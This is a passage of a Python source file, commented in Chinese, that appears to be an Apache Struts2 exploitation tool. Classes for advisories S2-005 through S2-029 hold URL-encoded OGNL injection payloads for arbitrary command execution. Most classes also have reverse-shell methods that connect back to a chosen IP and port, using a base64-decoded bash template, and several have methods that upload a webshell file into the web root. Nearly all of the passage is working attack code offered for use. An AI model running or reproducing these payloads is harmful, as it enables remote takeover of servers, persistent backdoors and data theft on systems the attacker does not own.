| return html 470 | 471 | 472 | class S2_005: 473 | """S2-005漏洞检测利用类""" 474 | info = "[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行" 475 | web_path = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest%28%29%27%29%28d%29%29&%28i2%29%28%28%27%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i97%29%28%28%27%5C43xman.getWriter%28%29.println%28%5C43req.getRealPath%28%22%5Cu005c%22%29%29%27%29%28d%29%29&%28i99%29%28%28%27%5C43xman.getWriter%28%29.close%28%29%27%29%28d%29%29" 476 | exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29" 477 | exec_payload2 = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27{cmd}%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29" 478 | 479 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 480 | self.url = url 481 | self.headers = parse_headers(headers) 482 | self.headers['Host'] = self.url.split("/")[2] 483 | self.encoding = encoding 484 | self.is_vul = False 485 | 486 | def check(self): 487 | """选择可以利用成功的payload""" 488 | self.exec_payload = self.exec_payload2 489 | html = echo_check(self) 490 | 491 | if str(html).startswith("ERROR:"): 492 | return html 493 | if html: 494 | self.is_vul = True 495 | return 'S2-005' 496 | 497 | self.exec_payload = self.exec_payload1 498 | html = echo_check(self) 499 | if str(html).startswith("ERROR:"): 500 | return html 501 | if html: 502 | self.is_vul = True 503 | return 'S2-005' 504 | 505 | return self.is_vul 506 | 507 | def get_path(self): 508 | """获取web目录""" 509 | html = get(self.url + '?' + self.web_path, self.headers, self.encoding) 510 | return html 511 | 512 | def exec_cmd(self, cmd): 513 | """执行命令""" 514 | payload = self.exec_payload.format(cmd=quote(cmd)) 515 | html = get_stream(self.url + '?' + payload, self.headers, self.encoding) 516 | return html 517 | # def reverse_shell_win(self, ip, port): 518 | # """windows 反弹shell""" 519 | # html = reverse_shell_win(self, ip, port) 520 | # return html 521 | 522 | 523 | class S2_007: 524 | """S2-007漏洞检测利用类""" 525 | info = "[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹Linux shell" 526 | exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'" 527 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 528 | 529 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 530 | self.url = url 531 | if not data: 532 | self.data = "username=test&password={exp}" 533 | else: 534 | self.data = data 535 | self.headers = parse_headers(headers) 536 | self.headers['Host'] = self.url.split("/")[2] 537 | self.encoding = encoding 538 | self.is_vul = False 539 | if 'Content-Type' not in self.headers: 540 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 541 | 542 | def check(self): 543 | """检测漏洞是否存在""" 544 | html = echo_check(self) 545 | if str(html).startswith("ERROR:"): 546 | return html 547 | if html: 548 | self.is_vul = True 549 | return 'S2-007' 550 | return self.is_vul 551 | 552 | def exec_cmd(self, cmd): 553 | """执行命令""" 554 | data = self.data.format(exp=self.exec_payload.format(cmd=quote(cmd))) 555 | html = post_stream(self.url, data, self.headers, self.encoding) 556 | return html 557 | 558 | def reverse_shell(self, ip, port): 559 | """反弹shell""" 560 | html = reverse_shell(self, ip, port) 561 | return html 562 | def reverse_shell_win(self, ip, port): 563 | """windows 反弹shell""" 564 | html = reverse_shell_win(self, ip, port, "post") 565 | return html 566 | 567 | 568 | class S2_008: 569 | """S2-008漏洞检测利用类""" 570 | info = "[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹Linux shell" 571 | exec_payload = "/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)" 572 | 573 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 574 | 575 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 576 | self.url = url 577 | self.headers = parse_headers(headers) 578 | self.headers['Host'] = self.url.split("/")[2] 579 | self.encoding = encoding 580 | self.is_vul = False 581 | 582 | def check(self): 583 | """检测漏洞是否存在""" 584 | html = echo_check(self) 585 | if str(html).startswith("ERROR:"): 586 | return html 587 | if html: 588 | self.is_vul = True 589 | return 'S2-008' 590 | return self.is_vul 591 | 592 | def exec_cmd(self, cmd): 593 | """执行命令""" 594 | payload = self.exec_payload.format(cmd=quote(cmd)) 595 | html = get(self.url + payload, self.headers, self.encoding) 596 | return html 597 | 598 | def reverse_shell(self, ip, port): 599 | """反弹shell""" 600 | html = reverse_shell(self, ip, port) 601 | return html 602 | def reverse_shell_win(self, ip, port): 603 | """windows 反弹shell""" 604 | html = reverse_shell_win(self, ip, port, "get") 605 | return html 606 | 607 | class S2_009: 608 | """S2-009漏洞检测利用类""" 609 | info = "[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹Linux shell" 610 | exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]" 611 | 612 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 613 | 614 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 615 | self.url = url 616 | if not data: 617 | self.data = "key" 618 | else: 619 | self.data = data.split('=')[0].strip() 620 | self.headers = parse_headers(headers) 621 | self.headers['Host'] = self.url.split("/")[2] 622 | self.encoding = encoding 623 | self.is_vul = False 624 | 625 | def check(self): 626 | """检测漏洞是否存在""" 627 | html = echo_check(self) 628 | if str(html).startswith("ERROR:"): 629 | return html 630 | if html: 631 | self.is_vul = True 632 | return 'S2-009' 633 | return self.is_vul 634 | 635 | def exec_cmd(self, cmd): 636 | """执行命令""" 637 | payload = self.exec_payload.format(cmd=quote(cmd), key=self.data) 638 | html = get(self.url + "&{key}={payload}".format(key=self.data, payload=payload), self.headers, self.encoding) 639 | return html 640 | 641 | def reverse_shell(self, ip, port): 642 | """反弹shell""" 643 | html = reverse_shell(self, ip, port) 644 | return html 645 | def reverse_shell_win(self, ip, port): 646 | """windows 反弹shell""" 647 | html = reverse_shell_win(self, ip, port, "get") 648 | return html 649 | 650 | 651 | class S2_012: 652 | """S2-012漏洞检测利用类""" 653 | info = "[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹Linux shell" 654 | exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D" 655 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 656 | 657 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 658 | self.url = url 659 | self.headers = parse_headers(headers) 660 | self.headers['Host'] = self.url.split("/")[2] 661 | self.encoding = encoding 662 | self.is_vul = False 663 | 664 | def check(self): 665 | """检测漏洞是否存在""" 666 | html = echo_check(self) 667 | if str(html).startswith("ERROR:"): 668 | return html 669 | if html: 670 | self.is_vul = True 671 | return 'S2-012' 672 | return self.is_vul 673 | 674 | def exec_cmd(self, cmd): 675 | """执行命令""" 676 | cmd = parse_cmd(cmd) 677 | payload = self.exec_payload.format(cmd=quote(cmd)) 678 | html = get(self.url + payload, self.headers, self.encoding) 679 | return html 680 | 681 | def reverse_shell(self, ip, port): 682 | """反弹shell""" 683 | html = reverse_shell(self, ip, port) 684 | return html 685 | def reverse_shell_win(self, ip, port): 686 | """windows 反弹shell""" 687 | html = reverse_shell_win(self, ip, port,"get") 688 | return html 689 | 690 | 691 | class S2_013: 692 | """S2-013/S2-014漏洞检测利用类""" 693 | info = "[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹Linux shell和文件上传" 694 | web_path = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23k8out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23k8out.println(%23req.getRealPath(%22%2F%22))%2C%23k8out.close())%7D" 695 | exec_payload = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D" 696 | upload_paylaod = "$%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23fos=%20new%20java.io.FileOutputStream(%23req.getParameter(%22f%22)),%23fos.write(%23req.getParameter(%22t%22).getBytes()),%23fos.close(),%23outstr.println(%22OK%22),%23outstr.close())%7D" 697 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 698 | 699 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 700 | self.url = url 701 | self.headers = parse_headers(headers) 702 | self.headers['Host'] = self.url.split("/")[2] 703 | self.encoding = encoding 704 | self.is_vul = False 705 | if 'Content-Type' not in self.headers: 706 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 707 | 708 | def check(self): 709 | """检测漏洞是否存在""" 710 | html = echo_check(self) 711 | if str(html).startswith("ERROR:"): 712 | return html 713 | if html: 714 | self.is_vul = True 715 | return 'S2-013' 716 | return self.is_vul 717 | 718 | def get_path(self): 719 | """获取web目录""" 720 | html = get(self.url + "?x={payload}".format(payload=self.web_path), self.headers, self.encoding) 721 | return html 722 | 723 | def exec_cmd(self, cmd): 724 | """执行命令""" 725 | html = get(self.url + "?x={payload}".format(payload=self.exec_payload.format(cmd=quote(cmd))), self.headers, 726 | self.encoding) 727 | return html 728 | 729 | def reverse_shell(self, ip, port): 730 | """反弹shell""" 731 | html = reverse_shell(self, ip, port) 732 | return html 733 | 734 | def reverse_shell_win(self, ip, port): 735 | """windows 反弹shell""" 736 | html = reverse_shell_win(self, ip, port, "get") 737 | return html 738 | 739 | def upload_shell(self, upload_path, shell_path): 740 | shell = read_file(shell_path, self.encoding) 741 | data = "t={t}&f={f}".format(t=quote(shell), f=upload_path) 742 | html = post(self.url + "?x={payload}".format(payload=self.upload_paylaod), data, self.headers, self.encoding) 743 | if html == 'OK': 744 | return True 745 | else: 746 | return False 747 | 748 | 749 | class S2_015: 750 | """S2-015漏洞检测利用类""" 751 | info = "[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹Linux shell" 752 | exec_payload = "%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream())%2C%23q%7D" 753 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 754 | 755 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 756 | if url.endswith(".action"): 757 | rindex = url.rindex('/') 758 | self.url = url[:rindex + 1] 759 | elif url.endswith("/"): 760 | self.url = url 761 | else: 762 | self.url = url + '/' 763 | self.headers = parse_headers(headers) 764 | self.headers['Host'] = self.url.split("/")[2] 765 | self.encoding = encoding 766 | self.is_vul = False 767 | 768 | def check(self): 769 | """检测漏洞是否存在""" 770 | html = echo_check(self) 771 | if str(html).startswith("ERROR:"): 772 | return html 773 | if html: 774 | self.is_vul = True 775 | return 'S2-015' 776 | return self.is_vul 777 | 778 | def exec_cmd(self, cmd): 779 | """执行命令""" 780 | payload = self.exec_payload.format(cmd=quote(cmd)) 781 | html = get(self.url + "{payload}.action".format(payload=payload), self.headers, self.encoding) 782 | if html.startswith('ERROR:'): 783 | return html 784 | try: 785 | soup = BeautifulSoup(html, 'lxml') 786 | ps = soup.find_all('p') 787 | result = unquote(ps[1].text[9:-4]).strip() 788 | return result 789 | except Exception as e: 790 | return html 791 | 792 | def reverse_shell(self, ip, port): 793 | """反弹shell""" 794 | html = reverse_shell(self, ip, port) 795 | return html 796 | 797 | def reverse_shell_win(self, ip, port): 798 | """windows 反弹shell""" 799 | html = reverse_shell_win(self, ip, port, "get") 800 | return html 801 | 802 | 803 | # S2-016选择payload 804 | def echo_check1(self, num): 805 | """通过echo输出检查漏洞是否存在""" 806 | hash_str = get_hash() 807 | html = "" 808 | if num == 1: 809 | html = self.exec_cmd1("echo " + hash_str) # exec_fun是个可变函数 810 | elif num == 2: 811 | html = self.exec_cmd2("echo " + hash_str) 812 | elif num == 3: 813 | html = self.exec_cmd2("echo " + hash_str) 814 | if ("echo " + hash_str) in html: 815 | return False 816 | if hash_str in html: 817 | return True 818 | else: 819 | return False 820 | 821 | 822 | class S2_016: 823 | """S2-016漏洞检测利用类""" 824 | info = "[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹Windows,Linux shell和文件上传" 825 | check_poc = "redirect%3A%24%7B{num1}%2B{num2}%7D" 826 | web_path = "redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D" 827 | exec_payload1 = "redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D" 828 | exec_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22{cmd}%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D" 829 | exec_payload3 = r"redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27CMD%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27ENCODING%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}" 830 | upload_payload1 = r"""redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.getWriter().print(%22O%22),%23res.getWriter().print(%22K%22),%23res.getWriter().flush(),%23res.getWriter().close(),new+java.io.BufferedWriter(new+java.io.FileWriter(%22PATH%22)).append(%23req.getParameter(%22t%22)).close()}&t=SHELL""" 831 | upload_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%22{path}%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22OK%22)%2C%23genxor.flush()%2C%23genxor.close()%7D" 832 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 833 | 834 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 835 | self.url = url 836 | self.headers = parse_headers(headers) 837 | self.headers['Host'] = self.url.split("/")[2] 838 | self.encoding = encoding 839 | self.is_vul = False 840 | self.exec_payload = "payload1" 841 | self.exec_dict = {"payload1": self.exec_cmd1, "payload2": self.exec_cmd2, "payload3": self.exec_cmd3} 842 | if 'Content-Type' not in self.headers: 843 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 844 | 845 | def check(self): 846 | """检测漏洞是否存在""" 847 | num1 = random.randint(10000, 100000) 848 | num2 = random.randint(10000, 100000) 849 | poc = self.check_poc.format(num1=num1, num2=num2) 850 | html = get(self.url + '?' + poc, self.headers, self.encoding) 851 | nn = str(num1 + num2) 852 | if html.startswith("ERROR:"): 853 | return html 854 | elif nn in html: 855 | self.select_exec() 856 | self.is_vul = True 857 | return 'S2-016' 858 | else: # 最后的倔强,存在检测不成功但可以执行命令 859 | self.select_exec() 860 | if self.exec_payload != "None": 861 | self.is_vul = True 862 | return 'S2-016' 863 | return self.is_vul 864 | 865 | def get_path(self): 866 | """获取web目录""" 867 | html = get(self.url + "?" + self.web_path, self.headers, self.encoding) 868 | return html 869 | 870 | def select_exec(self): 871 | """选择合适的执行命令的exp""" 872 | result = echo_check1(self, 1) 873 | if result: 874 | self.exec_payload = "payload1" 875 | else: 876 | result = echo_check1(self, 2) 877 | if result: 878 | self.exec_payload = "payload2" 879 | else: 880 | result = echo_check1(self, 3) 881 | if result: 882 | self.exec_payload = "payload3" 883 | else: 884 | self.exec_payload = "None" 885 | 886 | def exec_cmd(self, cmd): 887 | if self.exec_payload not in self.exec_dict: 888 | # print("[+] 本程序S2_016预设EXP对 {url} 无效!".format(url=self.url)) 889 | return None 890 | result = self.exec_dict.get(self.exec_payload)(cmd) 891 | return result 892 | 893 | def exec_cmd1(self, cmd1): 894 | """执行命令""" 895 | cmd = parse_cmd(cmd1) 896 | html = get(self.url + "?" + self.exec_payload1.format(cmd=quote(cmd)), self.headers, self.encoding) 897 | return html 898 | 899 | def exec_cmd2(self, cmd): 900 | """执行命令""" 901 | html = get(self.url + "?" + self.exec_payload2.format(cmd=quote(cmd)), self.headers, 902 | self.encoding) 903 | return html 904 | 905 | def exec_cmd3(self, cmd): 906 | """执行命令""" 907 | 908 | html = get(self.url + "?" + self.exec_payload3.replace('CMD', quote(cmd)).replace('ENCODING', self.encoding), 909 | self.headers, self.encoding) 910 | return html 911 | 912 | def reverse_shell(self, ip, port): 913 | """反弹shell""" 914 | html = reverse_shell(self, ip, port) 915 | return html 916 | 917 | def reverse_shell_win(self, ip, port): 918 | """windows 反弹shell""" 919 | html = reverse_shell_win(self, ip, port, "get") 920 | return html 921 | 922 | def upload_shell1(self, upload_path, shell_path): 923 | shell = read_file(shell_path, self.encoding) 924 | data = self.upload_payload1.replace('PATH', quote(upload_path)).replace('SHELL', quote(shell)) 925 | html = post(self.url, data, self.headers, self.encoding) 926 | if html == 'OK': 927 | return True 928 | else: 929 | return False 930 | 931 | def upload_shell2(self, upload_path, shell_path): 932 | shell = read_file(shell_path, self.encoding) 933 | data = "t=" + quote(shell) 934 | web_path = self.get_path() 935 | upload_path = upload_path.replace(web_path, '') 936 | html = post(self.url + '?' + self.upload_payload2.format(path=upload_path), data, self.headers, self.encoding) 937 | if html == 'OK': 938 | return True 939 | else: 940 | return False 941 | 942 | def upload_shell(self, upload_path, shell_path): 943 | result = self.upload_shell1(upload_path, shell_path) 944 | if not result: 945 | result = self.upload_shell2(upload_path, shell_path) 946 | return result 947 | 948 | 949 | class S2_019: 950 | """S2-019漏洞检测利用类""" 951 | info = "[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹Windows,Linux shell和文件上传" 952 | web_path = "%23req%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')%2C%23resp%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23resp.setCharacterEncoding('{encoding}')%2C%23resp.getWriter().println(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23resp.getWriter().flush()%2C%23resp.getWriter().close()" 953 | exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()" 954 | upload_payload = r"""debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.getWriter().print(%22O%22),%23res.getWriter().print(%22K%22),%23res.getWriter().flush(),%23res.getWriter().close(),new+java.io.BufferedWriter(new+java.io.FileWriter(%22{path}%22)).append(%23req.getParameter(%22shell%22)).close()&shell={shell}""" 955 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 956 | 957 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 958 | self.url = url 959 | self.headers = parse_headers(headers) 960 | self.headers['Host'] = self.url.split("/")[2] 961 | self.encoding = encoding 962 | self.is_vul = False 963 | if 'Content-Type' not in self.headers: 964 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 965 | 966 | def check(self): 967 | """检测漏洞是否存在""" 968 | html = echo_check(self) 969 | if str(html).startswith("ERROR:"): 970 | return html 971 | if html: 972 | self.is_vul = True 973 | return 'S2-019' 974 | return self.is_vul 975 | 976 | def get_path(self): 977 | """获取web目录""" 978 | html = get(self.url + "?debug=command&expression={payload}".format( 979 | payload=self.web_path.format(encoding=self.encoding)), self.headers, self.encoding) 980 | return html 981 | 982 | def exec_cmd(self, cmd): 983 | """执行命令""" 984 | cmd = parse_cmd(cmd) 985 | html = get( 986 | self.url + "?debug=command&expression={payload}".format(payload=self.exec_payload.format(cmd=quote(cmd))), 987 | self.headers, self.encoding) 988 | return html 989 | 990 | def reverse_shell(self, ip, port): 991 | """反弹shell""" 992 | html = reverse_shell(self, ip, port) 993 | return html 994 | 995 | def reverse_shell_win(self, ip, port): 996 | """windows 反弹shell""" 997 | html = reverse_shell_win(self, ip, port, "get") 998 | return html 999 | 1000 | def upload_shell(self, upload_path, shell_path): 1001 | shell = read_file(shell_path, self.encoding) 1002 | data = self.upload_payload.format(path=quote(upload_path), shell=quote(shell)) 1003 | html = post(self.url, data, self.headers, self.encoding) 1004 | if html == 'OK': 1005 | return True 1006 | else: 1007 | return False 1008 | 1009 | 1010 | class S2_029: 1011 | """S2-029漏洞检测利用类""" 1012 | info = "[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹Linx shell" 1013 | exec_payload = "(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedPackageNamePatterns'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowPackageProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))" 1014 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1015 | 1016 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1017 | self.url = url 1018 | self.headers 